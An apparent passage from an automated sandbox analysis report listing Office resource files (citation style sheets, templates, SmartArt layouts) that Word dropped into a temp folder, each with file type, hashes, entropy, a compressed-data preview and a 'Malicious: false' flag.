Preview:	MSCF.....:......L............................:...?...................9......................mlaseventheditionofficeonline.xsl.L...............Content.inf.N.#.....[...>..9..3c.5...F.B.]Y.3..%d.8...v;....~Y.L.=..v..m.g...\|K.B....$......s.......#CdE.p.p..@...j.Nl2'...L..N.G:-V:.d.....i..M........mK.w.....\W.<.`..b$.!..!3..rT.A..#.).;KZ...a.-..j&e`R.~7dIRS.I..f.ff....}.}....^[wo.uw..i.m7......v$.I..n....-.Z.M5...iH..Ea..., [..0.L...DH..." ..... .@...H.@..+...}.......^..'.4.tHa..f].gV..~.7V.....C..).(.U"..f.@l..j'..%\.u.UU.....9<13...5..=........./..Z..{..-.L].+Y.fL.<EJ.q..!.j....W..]E./.~Y>...GgQ..-....Q.C..5..T+...fO. .)..~.7..Y....+..U=.e..8w.m...._..S..v.d.* ......S3z.X)......u...t.......i.;.a...X.Ji....g.3.!.O.....T.f6..[U....O..Z.X.q.G....?.k]..?...8.u.;].8y.T.9D..!?R....:........3+.P.....7?m}..............1...y3.g.\c.ks^;?.f.U5...U.j....E.N.}.!.......).R1....~.....R.....3.J.f...l..E^:...&_..%..v...^..E...rC..O....M.#..<..H..bB.+.W..

C:\Users\user\AppData\Local\Temp\cab883E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15691 bytes, 2 files, at 0x4c "gb.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31835
Entropy (8bit):	7.81952379746457
Encrypted:	false
SSDEEP:	768:ltJDH8NmUekomvNufaqA8Pi6x5q3KQIGu:lvINukgzP7x5mRIGu
MD5:	92A819D434A8AAEA2C65F0CC2F33BB3A
SHA1:	85C3F1801EFFEA1EA10A8429B0875FC30893F2C8
SHA-256:	5D13F9907AC381D19F0A7552FD6D9FC07C9BD42C0F9CE017FFF75587E1890375
SHA-512:	01339E04130E08573DF7DBDFE25D82ED1D248B8D127BB90D536ECF4A26F5554E793E51E1A1800F61790738CC386121E443E942544246C60E47E25756F0C810A3
Malicious:	false
Preview:	MSCF....K=......L...........................K=...?..................q<......................gb.xsl.................Content.inf.EF/.....[...A....3D.4..oVP!i/......t.6..l&9r0.8......c..q.^........$/..(./H ...^_Z0\4.42WU......P.F..9.._....'.D..<H@..E.b,K..9o..wo..v\|..[.{7m.......\|}aI..\|g....IF2au?.1,..3.H.......ed....-.........m....$..8&0..w........2....s....z..d.Z.e.....@$r[..r..4...."E.Q@...Hh.B"b>...$.L.$.P.._..~.?./T..@..F..?.~G...MS..O%Z3k..:..._...!GF..U...!..W..$..7...j......xy0..../.j..~4......8...YV....Fe.LU..J.B.k%BT5.X.q.w.a4....5..r...W.6.u...]i...t.....e.\.K............#t.c5.6....j...?#..{.m3.L9...E/....B[R.k(.'....S.'.}!j.tL..v....L....{<.m4......d_kD..D.....4`aC....rg..S..F.b..^........g;.`?,......\..T.\.H.8W.!V...1.T1.....\|.Uh....T..yD'..R.......,.`h..~.....=......4..6E..x#XcVlc_S54 ..Q.4!V..P...{w..z...u.v....DC...W.(>4..a..h.t.F.Z...C.....&..%v...kt....n..2....+.@...EW.GE..%.:R`,}v.%.nx.P.#.f.......:.5(...]...n3{...v........Q..

C:\Users\user\AppData\Local\Temp\cab883F.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 30269 bytes, 2 files, at 0x4c "Text Sidebar (Annual Report Red and Black design).docx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	46413
Entropy (8bit):	7.9071408623961394
Encrypted:	false
SSDEEP:	768:WaxA0CH65GY3+fvCXCttfR8JEBrkquwDn+QV5V+vNWBatX/xG8Pi65sMuMjvU+mQ:hne65GYOfKXMSEBrBtDnzFAI4JxP75sM
MD5:	C455C4BC4BEC9E0DA67C4D1E53E46D5A
SHA1:	7674600C387114B0F98EC925BE74E811FB25C325
SHA-256:	40E9AF9284FF07FDB75C33A11A794F5333712BAA4A6CF82FA529FBAF5AD0FED0
SHA-512:	08166F6CB3F140E4820F86918F59295CAD8B4A17240C206DCBA8B46088110BDF4E4ADBAB9F6380315AD4590CA7C8ECDC9AFAC6BD1935B17AFB411F325FE81720
Malicious:	false
Preview:	MSCF....=v......L...........................=v...?..................5u......................Text Sidebar (Annual Report Red and Black design).docx.v...............Content.inf..C,.zd..[............... .w.....b...wwww]r..W\ww...... .hh...........o.nz.....Ku.7..-.oH...h;.N..#.._.D,}......!Q$..Un.tI11..$w.r3... ..p...=.1....""..n.../....h.A...Y..c,.Q.,......",..b.1.w..$.....l../;..J.....~.. ....+.R#....7.-..1.x.feH.@.......u...(.DQ%.wL.N\|.xh...R..#....C...'X.m.....I{W.....5.C.....\....z.Y.)w..i...%....M..n.p.....{..-G9..k.bT.6........7....).....6..ys.....R.e.....0.Xk`.3..X\xL..4J"#.f...:....r..2..Y.uW..052.n.+ ..o..o..f&u.v.&9y.P..6.K..in.DU.#.~....4i..6;.5.w..i...g.(....../..0Vh...C..//....W..:w......7.6....]....4.9...sL.0k...zHh..2N.H.....]..(.x.:..........Y.+...-.....&.*^..Q.sW...v..w.....k.L.e.^.W4iFS..u.....l.g'...b~:Zm...S.2.\|......5S..=.............l.../\|....G\|.9 ..#.q...W.Q...G=.."W..'.6....I....D._.{.g.47....V.1._..<?....m............)..T.

C:\Users\user\AppData\Local\Temp\cab8840.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 17466 bytes, 2 files, at 0x4c "chicago.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 10 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	33610
Entropy (8bit):	7.8340762758330476
Encrypted:	false
SSDEEP:	768:IlFYcxiahedKSDNAPk5WEEfA8Pi6xnOKMRA58:2JitdKsNAM5WBDP7xOKMq58
MD5:	51804E255C573176039F4D5B55C12AB2
SHA1:	A4822E5072B858A7CCA7DE948CAA7D2268F1BB4B
SHA-256:	3C6F66790C543D4E9D8E0E6F476B1ACADF0A5FCDD561B8484D8DDDADFDF8134B
SHA-512:	2AC8B1E433C9283377B725A03AE72374663FEC81ABBA4C049B80409819BB9613E135FCD640ED433701795BDF4D5822461D76A06859C4084E7BAE216D771BB091
Malicious:	false
Preview:	MSCF....:D......L...........................:D...?..................XC.....................chicago.xsl. ...............Content.inf.!..B...[...H."m..3C.6...WP!i/Z..vn._...^omvw+...^..L.4o...g..y......^..x...BH.B.K....w.....F........p ./gg.h.0I',.$..a.`....^..vi..mw..........K....oQ............P...#...3.......U(.=...q.~?..H..?.'I4'.......X...}w.vw.....f.n..f{3.....-....%dK&q..D.H.Z..h-..H.[$ %.."..e....1...$.............'.....B..%..4...&`S!DQ...M.......N~............S..'....M..4E.^..dej..i..+.`...6F%sJ....Q..d.(.s.Z...U-5Eh.s.CK...K..X$......j..T.?.`.\|...=..R...-7......TU.....7a...&I.noOK\|.W.R-+S.d..rR.....{h.Y...)..xJ..=.XM..o...P'.I4m..~I..C..m.....f.....;{Mzg+Wm.~...z...r-.....eK...lj:^.1g5...7.h(T"..t?5......u.....G.Z<..sL.\{...8=t...Z...'tps.:...\|....6.....S..X...I...6l.M.....aq.;YS....{:.&.'.&.F.l...\.[L.%.so\.v.Lo...zO.^^...p..9k...).CC..F0>L...VUE4.......2..c..p.rCi..#...b.C@o.l.. E_b..{d...hX.\_!a#.E.....yS.H...aZ...~D3.pj: ss?.]....~

C:\Users\user\AppData\Local\Temp\cab8841.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 14813 bytes, 2 files, at 0x4c "iso690nmerical.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 7 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	30957
Entropy (8bit):	7.808231503692675
Encrypted:	false
SSDEEP:	384:rKfgT03jNkAFbgUQWtxq9OGh1bBkd/1MVHb5iVOdMgbA8E0GftpBjEl8tFLrHRNF:r303jOrUQAkfhopWHbA8Pi6l8zuUIq
MD5:	D3C9036E4E1159E832B1B4D2E9D42BF0
SHA1:	966E04B7A8016D7FDAFE2C611957F6E946FAB1B9
SHA-256:	434576EB1A16C2D14D666A33EDDE76717C896D79F45DF56742AFD90ACB9F21CE
SHA-512:	D28D7F467F072985BCFCC6449AD16D528D531EB81912D4C3D956CF8936F96D474B18E7992B16D6834E9D2782470D193A17598CAB55A7F9EB0824BC3F069216B6
Malicious:	false
Preview:	MSCF.....9......L............................9...?...................8......1P..............iso690nmerical.xsl.................Content.inf...A@...[...5.....33.E...P.../..........5sv.]3srm8.T.=.......}.v.T.. ..4IH.r.%Z.(.q.\+K..[,....E....A......#CEF..}p..Y/s$...YKI.#M.?.t.1#C....I..v.vn...-...v7../S.m.Ma.....!.Y....4.......3.3....c&R9..%......(J..BDMI.>7J.....".....}.w.}w.wg.v...^.n.{....{f.mlI..%.#..I..S....D..QJ U......4........K.(@....DH.....}...8;..z...&0%e..G.OAM..x.3......\....zS9....}......89.B...e.W.p{;.....m.m3...}....../...q.~..;.,..".j.g..^N............iC.../\|...g.=..9.Q].Gf.....QA....74..v.....9.n[......0.}..jo{y./.2..Ym......;u...b.(Jz^.....~..uM...{s../..#.)n2..S.S.c..6)U.V....!.'R.......P.S.D..S.p/......D.......{......?.u.",...Mp._....N..+..=Y#..&0w....r.......$.xwC......P.e7.>O....7....].y%q^S'.....C.`.?..}Q..k../u.TK...y........S...{T.?......[.H.'L..AS.Y.\|..b...J.H-.^U>'9..uD[.".b[.l.......o..6.L).h.B0RJa.b..\|m:.):......F

C:\Users\user\AppData\Local\Temp\cab8865.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 12767 bytes, 2 files, at 0x4c "ieee2006officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	28911
Entropy (8bit):	7.7784119983764715
Encrypted:	false
SSDEEP:	384:WnJY165YD0tPYoCKa3HueqRyzVscLk1Yj2GjcgbA8E0GftpBjE2kWTpjFLrHRN7N:X4rtPzCK6uRoljXBA8Pi62ZphL0HRA5p
MD5:	6D787B1E223DB6B91B69238062CCA872
SHA1:	A02F3D847D1F8973E854B89D4558413EA2E349F7
SHA-256:	DA2F261C3C82E229A097A9302C8580F014BB6442825DB47C008DA097CFCE0EE4
SHA-512:	9856D88D5C63CD6EBCF26E5D7521F194FA6B6E7BF55DD2E0238457A1B760EB8FB0D573A6E85E819BF8E5BE596537E99BC8C2DCE7EC6E2809A43490CACCD44169
Malicious:	false
Preview:	MSCF.....1......L............................1...?...................0......"}..............ieee2006officeonline.xsl.:...............Content.inf.........[...G."...3$pE...G B....m3o[...I2&.f.,\..........}.n..{..e.8!^.3.A@...x..... .D.52gU..]..."..N8....s..CS..J3..HV...m...y..o....F.z......V.j._....=~k.....'.dY........1........#...d13.g.&C...C.xw.`f.hf..........]M....m.m....ud...,+.H~..cL...e#;(RI...eA....I.b...E...2..(...$.j...L...$..A....'[...H9..&..G.Q....".M.yl....]..?j%+....O~.....\|.se...K\.B"W..F.5.......=s...l.Y...K..yN.TBH[...sTWR.N.d...WEa....T.d.K.^sauI......m..s=.,qso5.b.V.s.]..9..,k4.\..L.;D...........;r.C...7.w.j..:N8.V6..a.3..j:A.mA..To..$.5....:./..p.x.3.=..__...8.EB.K...].-."..5-XU..J.....=o..K.Wavg.o].z.9.gk.._.........MZ.<.5............OY.n.o...r.9v.c.......[n.[..D...d..}.j.....LB,]_.9..St.@..C....\...^....-&.njq..!P....G^.....w.7.p~.......M..g.J............t1......q.w.rx...qp.....E.........-...2..G.........z.]B........d....C.@...@.

C:\Users\user\AppData\Local\Temp\cab8866.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 16689 bytes, 2 files, at 0x4c "iso690.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	32833
Entropy (8bit):	7.825460303519308
Encrypted:	false
SSDEEP:	768:+0TU06CkaUYMoi//YX428RaFA8Pi6e9iA4I3w:vICTm/QorUpP7eAA4I3w
MD5:	205AF51604EF96EF1E8E60212541F742
SHA1:	D436FE689F8EF51FBA898454CF509DDB049C1545
SHA-256:	DF3FFF163924D08517B41455F2D06788BA4E49C68337D15ECF329BE48CF7DA2D
SHA-512:	BCBA80ED0E36F7ABC1AEF19E6FF6EB654B9E91268E79CA8F421CB8ADD6C2B0268AD6C45E6CC06652F59235084ECDA3BA2851A38E6BCD1A0387EB3420C6EC94AC
Malicious:	false
Preview:	MSCF....1A......L...........................1A...?..................S@......v...............iso690.xsl.................Content.inf.B.9.....[...A.c...32.E...P..'.^}.f...ikMJ....m..s..U.w{m{{...}n.4........I. ..9..d..I.......P\|....F...F.......&&J.:I.34......+M3..4mr.........m.r..m)....dK.wiw...H,...r........y.$..Cu...L...dH.../..V......g.PG$R39...4O..............{w..^....c.m.m.o.....#..Fgs..6.....b....3.I..O....B..B..1h"....K\|f .41......_..g.N.<.>........(....o3a.M)....J..}....-......8.......g.hm!r<...-..1.1....q.?....S.m...`L.g#.K.igv.].ghD....L...p5..?.......iP.[JS.J..?z~.T/.Q...E.K.......P+\LW.-.c..[9.n.7.....P...[.A1....m...4h.9...N[....h5 n%k.~RR.c..n..=...4....).eH.-./..>.....r..S.*..dE.........pF..s.A..?...f..u.+.{..?>N.4].}Xb.M......y......'.2..'..........J4{r..r.3........5>..a0.>.u_.y@g....+y.yu--,ZdD.........5]3..'.s...\|.....K.....T..G.G.e...)..\x..OM.g...`..j0......BfH...+.....:......l`.qU...;.@...",.."........>;P.B.^F...3!......Rx.9..

C:\Users\user\AppData\Local\Temp\cab8867.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15327 bytes, 2 files, at 0x4c "sist02.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31471
Entropy (8bit):	7.818389271364328
Encrypted:	false
SSDEEP:	768:eNtFWk68dbr2QxbM971RqpzAA8Pi6TlHaGRA5yr:eNtEkpGSbuHAkP7TlHaGq54
MD5:	91AADBEC4171CFA8292B618492F5EF34
SHA1:	A47DEB62A21056376DD8F862E1300F1E7DC69D1D
SHA-256:	7E1A90CDB2BA7F03ABCB4687F0931858BF57E13552E0E4E54EC69A27325011EA
SHA-512:	1978280C699F7F739CD9F6A81F2B665643BD0BE42CE815D22528F0D57C5A646FC30AAE517D4A0A374EFB8BD3C53EB9B3D129660503A82BA065679BBBB39BD8D5
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......g...............sist02.xsl.................Content.inf....!....[...=.rF..3U.5...g.i?..w.oY..If'.......Y.;.B.....Wo.{T.TA.~......8......u.p....@Q..k.?.....G....j.\|.J69H.2.ee..23s..;3..i..L.,...0se.%J........%.....!.....qB...SC...GAu5.P..u7....:.\|.$Fo............{.......v.v.g..{o....e.....m.JeRG..,.%.1..Lh.@8.i.....l.#.HB`B....C......D@....?....P?..................\|.9..q.......9.n.....F...s,....3..Q..N......y......_i..9\|.<w...'q.Tq...U.E.B...q.?.4..O(_O.A.......jC.~.21.7.....u.C...]uc.....-.g.{C~9q.q.1.1...4..=.0.Z.^....'../....-.6.K.....K...A#.GR..t.@.{.O.......Q5..=....X...^...F3.e.E.Z..b+R..?Z..0T1.....gQz.&....%y=zx.f.....6-...u.Rm..x<...?...!g@.}..).J...:...9.s&.v..}..'...\..Sd..F...........kQr.....h..3..1....B...B{M...%O.59.\.#....s/.pE.:}...k_.P.>.zj....5\|.9+....$M..L........(...@#.....N.....N...........E..7..R$.:9!r>7.....v...>..S.w....9..]..n.w.;&.W..<r\S....

C:\Users\user\AppData\Local\Temp\cab8868.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 27509 bytes, 2 files, at 0x4c "Equations.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	43653
Entropy (8bit):	7.899157106666598
Encrypted:	false
SSDEEP:	768:+bjfeR1OOZvv439PlDe5/QzhgFSo0UEDmJwkqTA8Pi63Bsgn66w:IM3CN9ZzhFbUUwaP73BsB6w
MD5:	DA3380458170E60CBEA72602FDD0D955
SHA1:	1D059F8CFD69F193D363DA337C87136885018F0F
SHA-256:	6F8FFB225F3B8C7ADE31A17A02F941FC534E4F7B5EE678B21CD9060282034701
SHA-512:	17080110000C66DF2282FF4B8FD332467AF8CEFFA312C617E958FDFEBEE8EEA9E316201E8ABC8B30797BB6124A5CC7F649119A9C496316434B5AB23D2FBD5BB8
Malicious:	false
Preview:	MSCF....uk......L...........................uk...?...................j......r...............Equations.dotx.................Content.inf.94v..R..[..... .............v........." Vw.w..r.....D.V5.p...W......b;....\x.....f.-...............l.....L.F....@..BnF.I.....%1..0....&.X.......X-.\.\.>..A....@..:...N .G./.Sp.A0.0.`.....q....b... ......S.{K...V....J............>\....\.E.#.,$.hxu.F.Fo....<...{..6../..#..l>d...w...&...S.....L.].....^..L......;~l.......qw.o. .....v.u.W`.4Z.A.....dC..Q)9.c..qgtfJ..G.(.J....q4V.).mK4;..zY..b.5&....V...0X.].Z..U.Lx..^..:8XQh.....7yy.._5............c.W...c...xY..%..G.$....kg^.1g.9.....z^.'...q."..K)a[.pW .LS.:Q8.....2..._q.os....y...d11..m....8.,.^.4_?i.e.u.,....._y.....zZZA.D.D<..+....{....Sfnv...t.....0...vV..y.r..3..%.<.t......;.h.wh.-.g.>..5...R...........y..]^..R..<...>$~.'...kk.n..H.EN.eQ.Q.O./='....)t.l0,/].....FNN......?...&..'.eS....K.K.v".^L..x=.^......1x\|....=}@...B.kq;_a..C.q?..Y9.v......Q..u.G..V.

C:\Users\user\AppData\Local\Temp\cab8879.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 19375 bytes, 2 files, at 0x4c "turabian.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	35519
Entropy (8bit):	7.846686335981972
Encrypted:	false
SSDEEP:	768:2LFougzHaUdBKUsM+Z56zBjA8Pi6bo+ld8IX:MFodzHaULR9P7bo+l6IX
MD5:	53EE9DA49D0B84357038ECF376838D2E
SHA1:	AB03F46783B2227F312187DD84DC0C517510DE20
SHA-256:	9E46B8BA0BAD6E534AF33015C86396C33C5088D3AE5389217A5E90BA68252374
SHA-512:	751300C76ECE4901801B1F9F51EACA7A758D5D4E6507E227558AAAAF8E547C3D59FA56153FEA96B6B2D7EB08C7AF2E4D5568ACE7E798D1A86CEDE363EFBECF7C
Malicious:	false
Preview:	MSCF.....K......L............................K...?...................J.......@..............turabian.xsl."...............Content.inf._.......[...T.....C4.5...E0B.]...+.-f....rc.[52.$...a..I....{z...`hx.r...!.. $...l..\....#3EF..r..c;<p...&n.\b..K..0Y..c+.2...i..B..wwY..77,...........}.q.C.......n..,.....prrx.QHy.B#..,.'....3....%1.``..hf...~...[.[n.v.s..y.vw....;..s.G293G&H....$E......m.&^..iy/.4.C...D...".(H&..&.I4._...!...... ........q.k1.d.....qc.3.c.....;.5.......y}...}&...+.WAN.,zVY.Q....V.Tz........g..H..c...E2jY...4g?.yf<....V.M.s.$..k.Id....+..?..._.\.s.k..9..I%;.yWQ..S..]...n<.7........=......"Q.E.....MG..j.Yt..!U....Q.j...v.h-.~b..e&.......;...\.....:.....=..Xv1&q........6\...xw.%.VdS..H...o...s.....+..%[../>.t..I....F.....".G\|.....=....[..S..3..a.C.ZZ...tK.6N..b........)>........I..m..QE.M.nv.MVl.....vCG>,.suP.gqo.rr....J`m....J.b..},[F....e.A.]..r....C4.?JJs6..l.].9...Q.B.~.......\d%.X ...8A....rH....&?#...^.....4.h.{>

C:\Users\user\AppData\Local\Temp\cab887A.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15338 bytes, 2 files, at 0x4c "gosttitle.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31482
Entropy (8bit):	7.808057272318224
Encrypted:	false
SSDEEP:	768:LgHv7aLOcoLGQ4EykdrHwLa+A8Pi6Iv8ACIa:LwvWyx4EykdTwLaWP7I0ACIa
MD5:	F10DF902980F1D5BEEA96B2C668408A7
SHA1:	92D341581B9E24284B7C29E5623F8028DBBAAFE9
SHA-256:	E0100320A4F63E07C77138A89EA24A1CBD69784A89FE3BF83E35576114B4CE02
SHA-512:	00A8FBCD17D791289AC8F12DC3C404B0AFD240278492DF74D2C5F37609B11D91A26D737BE95D3FE01CDBC25EEDC6DA0C2D63A2CCC4AB208D6E054014083365FB
Malicious:	false
Preview:	MSCF.....;......L............................;...?...................;......................gosttitle.xsl.$...............Content.inf....v....[...=..Ic.32.E...`o.............m....4uk[.,.......{...}k{.R@(Hq..68nv...@.D.....$...j....8Q..........8.8........3....bi?Wt...:(..J.;&eii..io.w..z...`.'..i.MLR@.>....N..3`P.>$X@(r.#.D..(....P"_..I.$o.. L!y...I...H.........{.{....{.3....7..w..{w.2sn.dYn.lW...l...c$.UH....L6. .D$$...!F.!... .D............_..'.`.Q.v>..Z..f.n.l....0o.......bK...?s..eO....'.>t......S'..........~....h...v&7:q.x9\|qs...%....:..D...ag.....e..'...".A.Y..?w"....p1t.9J.~.4.........~vj.n.8.;.O......../.}..io{p...e...\m.d`.gAm.......1"...N...8..g"......~..[.e+.....\6i4.....%...Rq.U-p?..4P..4.f.?N.vI?.M\i.;.s..E.L.hu.*...\..5....N......]......\`...rS.\g.....2..!a).?.l.!i.^.t.u...x...g/.A..v.E...\.@.>kM...&.g.....%.......{.....2..E.g...'..[w...N.w..& 4M.a.cu.%:...\.D..Q..C.'fm..i....@._......QI.. ....h..\|fB.il.(`..h.d;.l...`.s:

C:\Users\user\AppData\Local\Temp\cab887B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 15461 bytes, 2 files, at 0x4c "gostname.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression
Category:	dropped
Size (bytes):	31605
Entropy (8bit):	7.820497014278096
Encrypted:	false
SSDEEP:	384:7SpOUxgQ9gFodHZktfHa2TSmcAg76j8/xorK0JoZgbA8E0GftpBjE2PzFLrHRN7S:OngHltf7Bcp/xoB3A8Pi625D8RA54
MD5:	69EDB3BF81C99FE8A94BBA03408C5AE1
SHA1:	1AC85B369A976F35244BEEFA9C06787055C869C1
SHA-256:	CEBE759BC4509700E3D23C6A5DF8D889132A60EBC92260A74947EAA1089E2789
SHA-512:	BEA70229A21FBA3FD6D47A3DC5BECBA3EAA0335C08D486FAB808344BFAA2F7B24DD9A14A0F070E13A42BE45DE3FF54D32CF38B43192996D20DF4176964E81A53
Malicious:	false
Preview:	MSCF....e<......L...........................e<...?...................;......................gostname.xsl."...............Content.inf.[.......[...>..\|..32.E..o`h....W.>.^...v..5...m.w.$.U..U......m.mu...'4....m`.9F.. ...I..PTS..O.D...GM#...#CUE.`.`%n..N...G,.~..+.6cv.L...G.m.Y..vy.....Yh9/.m,..wtw..;....Ka.a.{.\...'.....<X....%)...G..d......R./..4$..32..@....f.h....w..ov.}w..[.....{.v.......dr..&w#G..$3.zI&f..(C..L.z5J... .`...!.!4. ...!.` .$........w.J.X7.w_..@.w..f]=.C.....I-....s.s_.x...~..A... ...z...nM..;....Z....vt....6...~.w.....*x.g.h.T.J..-.3=....G.n..ti.A...s...j$.Bf..?......6.t.<j...>.."....&=BO?w.uN.o.t.-r..K....>C..^G..p...k...>.xZ.[fL..n.."].W#...\|.i.0W.q.F: ..<#w......w....s....."...n.qu.../rI.....q....P~.B..\|b?.N.}..MyO..q..:q.7..-~.xa.S...\|.....X.....g.W.3.mo..yy.GG.s>....qy....r........#.F.P..A.......A....b.2..14.8.i6..w.S...v~{0z.<.Z...^!.;2mSV.i....{...U...+...r.;...h.++..T6.a...$....j5F+..1t....b......\|.Q\d-.S..2... ......Y..A...s....

C:\Users\user\AppData\Local\Temp\cab887C.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 4091 bytes, 2 files, at 0x44 "BracketList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	20235
Entropy (8bit):	7.61176626859621
Encrypted:	false
SSDEEP:	384:j3W3yGyjgbA8E0GftpBjEHvFLrHRN7pDAlI66Yv1:j3WFyAA8Pi6HVpDZ66c1
MD5:	E3C64173B2F4AA7AB72E1396A9514BD8
SHA1:	774E52F7E74B90E6A520359840B0CA54B3085D88
SHA-256:	16C08547239E5B969041AB201EB55A3E30EAD400433E926257331CB945DFF094
SHA-512:	7ED618578C6517ED967FB3521FD4DBED9CDFB7F7982B2B8437804786833207D246E4FCD7B85A669C305BE3B823832D2628105F01E2CF30B494172A17FC48576D
Malicious:	false
Preview:	MSCF............D................................?..................................BracketList.glox.................Content.inf....7r...[.... G.q..@...B.....?X!.A.......!........X..Vk.JK...Z..=......PD.....P....5...jp..+..T....b.)np5.7.....Zz........... ..!.....S......1....`....h......T?.Nq../......z....[..:..5f;....O...d.FxD...4...Z....[..a...w..W.[..P...5.]...6..."...+t].!...2\%%`Q.\..)...=>.)......a.$.2.,...2,.Lw.?..+..qf....h....T/B.....}T.E...'.%.....,.......X....b..gt.hPYc\|.....a...j...=...{..a.`!8!..\|...L.T..k..!,.R.z/W....{..,...+..w.m..sQ..7<x..B....?....\.)..l...d...}.....v..W.C..'=p1c.Z=.W.g.e....&wm..N,..K.T../.oV../=9.}.....".28...r.Q....dzj{....S...1m...x9_...2PXpa...Q.n.$z...c..SGq...k......}kPE.....3.\|.5A.>..6.......+)qCB....q....qNkGe...W]..o..Z...J.<.i......qq.8....q..BE.(...._h.U.\@3.F...KdO..=1j+....).Q.\|B..Z..%......LDYk....j.....{klDW..#CVy}...X..O!..}..s..&..DC.....tL.j..b.......[...n.'..1..Xc...9Q..gM.....n..3...v.....~.).

C:\Users\user\AppData\Local\Temp\cab887D.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 10800 bytes, 2 files, at 0x44 "ConvergingText.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression
Category:	dropped
Size (bytes):	26944
Entropy (8bit):	7.7574645319832225
Encrypted:	false
SSDEEP:	384:sbUX16g8/atF4NB3TJOvqeMRD/8svIZj/OwgbA8E0GftpBjEYwFLrHRN7mYll7PY:sbhg8yY4nMZK2hA8Pi6Yum4IVR
MD5:	F913DD84915753042D856CEC4E5DABA5
SHA1:	FB1E423C8D09388C3F0B6D44364D94D786E8CF53
SHA-256:	AA03AFB681A76C86C1BD8902EE2BBA31A644841CE6BCB913C8B5032713265578
SHA-512:	C48850522C809B18208403B3E721ABEB1187F954045CE2F8C48522368171CC8FAF5F30FA44F6762AFDE130EC72284BB2E74097A35FE61F056656A27F9413C6B6
Malicious:	false
Preview:	MSCF....0......D...........................0...?..................t,..............ConvergingText.glox.....t,..........Content.inf..C..)t-[.....@.........=...xxA. ...E^....x.x.^.......x..^^...DF.......s..d.P.....5.;..]...2.t.w.....O9.G..;.'.T....@I.,.q.u.3..P...9... ....`J.......g.(....).,.h0.....$.3..;.._.....~.de.jj.....U..K.0....`.@.H.1.x.Z.@..q....?....x.wW.....+am8A".....I..)..]...s..-z.2S+\|.Cb.t6f],.n.LV......OVg....O.at\|..-..x.....:....]s...u..g}.P..v.3....^.".%..%...#.2.....l00...n.......r8.p.....^.....n.)..,..t.^$b...b.q.W...F..R...n.-.+..'........Aw=._OwH....8.:s..{.#..{N.hW..`.._........Wy....>U.?....-.8tg...=..y..@.,.v\|......l...t..l#{...H....9..\|......~...De..#@y.&K....U...q.c.zK..D.<pV.....Ql..&Y...=#...w....r.`#2....Ug.J(..T...KmW.@...!....j:......M......!..E.7#s.t..F.aU..N....-.i......\|w.lr..G.n.,.......=Kl.-m.?F.....v]?.......{q.U.t...<.\|..u.....3R.`.t.T.>;v.....KQ...S...7..1...N.kN.y.)v.....3H:..D.{.+.(......u..^W&.

C:\Users\user\AppData\Local\Temp\cab888F.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
